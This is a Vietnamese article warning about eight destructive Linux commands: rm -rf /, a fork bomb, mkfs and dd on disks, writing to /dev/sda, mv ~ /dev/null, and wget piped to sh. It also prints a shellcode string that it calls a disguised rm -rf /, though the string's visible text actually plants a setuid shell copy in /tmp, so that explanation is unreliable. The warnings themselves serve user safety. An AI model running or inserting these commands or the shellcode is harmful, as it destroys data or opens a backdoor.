8 lệnh chết người không bao giờ chạy trên Linux
Linux sẽ không hỏi sự xác nhận của bạn nếu bạn chạy một lệnh không phá vỡ hệ thống của bạn. Cũng chính vì thế, tìm hiểu về các lệnh bạn không nên chạy có thể giúp bạn bảo vệ hệ thống của mình, và tăng sự hiểu biết của bạn về Linux.
Sau đây là 8 lệnh bạn cần đề phòng trong Linux.
rm -rf / – Xóa tất cả mọi thứ
Lệnh rm -rf / sẽ xóa mọi thứ nó có thể, bao gồm cả các file trong ổ cứng của bạn và các file trên các thiết bị media kết nối với máy tính. Lệnh này sẽ dễ hiểu hơn nếu phân tích như sau:
rm – Xóa những file sau.
-rf – chạy rm (xóa tất cả các file và folder bên trong một folder xác định) và buộc phải xóa tất cả các file mà không hỏi ý kiến bạn trước.
/ – nói rm khởi động ở thư mục root, bao gồm tất cả các file trên máy tính của bạn.
Linux sẽ rất vui vẻ làm theo lệnh này và xóa mọi thứ mà không báo trước cho bạn, vì thế hãy cẩn thận khi dùng nó. Lệnh rm còn có thể được xung theo những cách rất nguy hiểm. Chẳng hạn, rm –rf ~ sẽ xóa mọi file trong home folder của bạn, còn rm -rf .* sẽ xóa tất cả các file cấu hình của bạn.
Lệnh trá hình rm –rf /
Đây là một đoạn trích mã nguy hiểm khác:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Đây thực chất là một phiên bản ma mãnh khác của rm –rf / – thực thi lệnh này cũng sẽ xóa hết các file của bạn, như bạn chạy lệnh rm –rf /.
Bài học: đừng chạy những lệnh kiểu ngụy trang mà bạn không hiểu.
:(){ :|: & };: – một loại bom tấn
Dòng lệnh sau có vẻ đơn giản, nhưng lại có chức năng rất nguy hiểm:
:(){ :|: & };:
mkfs.ext4 /dev/sda1 – Format ổ cứng
Lệnh mkfs.ext4 /dev/sda1 rất dễ hiểu:
mkfs.ext4 – tạo ra một hệ thống file ext4 mới trên thiết bị sau.
/dev/sda1 – xác định sự phân vùng đầu tiên trên ổ cứng đầu tiên, có thể đó là ổ cứng đang dùng.
Cùng với nhau, lệnh này có thể tương đương việc format ổ C: trên Windows – nó sẽ xóa hết các file trên phân vùng đầu tiên của bạn và thay thế chúng bằng hệ thống file mới.
Lệnh này có thể xuất hiện ở nhiều dạng khác nhau, như - mkfs.ext3 /dev/sdb2 sẽ format phân vùng thứ hai trên ổ cứng thứ 2 của bạn với hệ thống file ext3.
command > /dev/sda – viết trực tiếp lên một ổ cứng
Dòng command > /dev/sda hoạt động tương tự - nó chạy một lệnh và gửi ra kết quả của lệnh đó trực tiếp lên ổ cứng đầu tiên của bạn, viết dữ liệu thẳng vào ổ cứng và phá hủy hệ thống file của bạn.
command – nghĩa là chạy một lệnh (có thể là bất kỳ lệnh nào).
> – nghĩa là gửi đầu ra của lệnh đến vị trí sau
/dev/sda – viết đầu ra của lệnh trực tiếp lên thiết bị ổ cứng.
dd if=/dev/random of=/dev/sda – viết những dữ liệu ngớ ngẩn lên ổ cứng
dòng dd if=/dev/random of=/dev/sda sẽ xóa dữ liệu trên một trong các ổ cứng của bạn.
dd – là thực hiện sao chép ở mức độ thấp từ một nơi này sang nơi khác.
if=/dev/random – Dùng /dev/random như là đầu vào – bạn có thể thấy các địa điểm như /dev/zero.
of=/dev/sda – đầu ra đến ổ cứng thứ nhất, thay thế hệ thống file bằng những dữ liệu ngớ ngẩn ngẩu nhiên.
mv ~ /dev/null – Di chuyển thư mục chủ (home directory) của bạn đến một lỗ đen (Black Hole)/dev/null là một vị trí đặc biệt khác – di chuyển cái gì đó đến /dev/null cũng tương tự như phá hủy nó. Hãy xem /dev/null là một lỗ đen. mv ~ /dev/null sẽ gửi hết tất cả các file cá nhân của bạn đến một lỗ đen.
mv – di chuyển file hoặc thư mục sau sang một vị trí khác.
~ – nghĩa là toàn bộ folder home của bạn.
/dev/null – là di chuyển folder home của bạn đến /dev/null, nó sẽ phá hủy tất cả các file của bạn và xóa các bản copy gốc.
wget http://example.com/something -O – | sh – tải và chạy một bản thảo (script)
Dòng trên sẽ tải một bản thảo từ trên web và gửi nó đến sh, và sẽ thực thi các nội dung trong bản thảo. Điều này có thể nguy hiểm nếu bạn không chắc bản thảo là gì hoặc bạn không có nguồn bản thảo tin cậy – đừng chạy những bản thảo không đáng tin cậy.
wget – tải một file.
http://example.com/something – tải file từ vị trí này.
| – Dẫn (gửi) đầu ra của lệnh wget (file bản đã tải) thẳng đến một lệnh khác.
sh – gửi file đến lệnh sh.
Bài học: đừng tải và chạy những bản thảo không đáng tin cậy từ trên web, thậm chí với một lệnh.
Trần Thị Huyền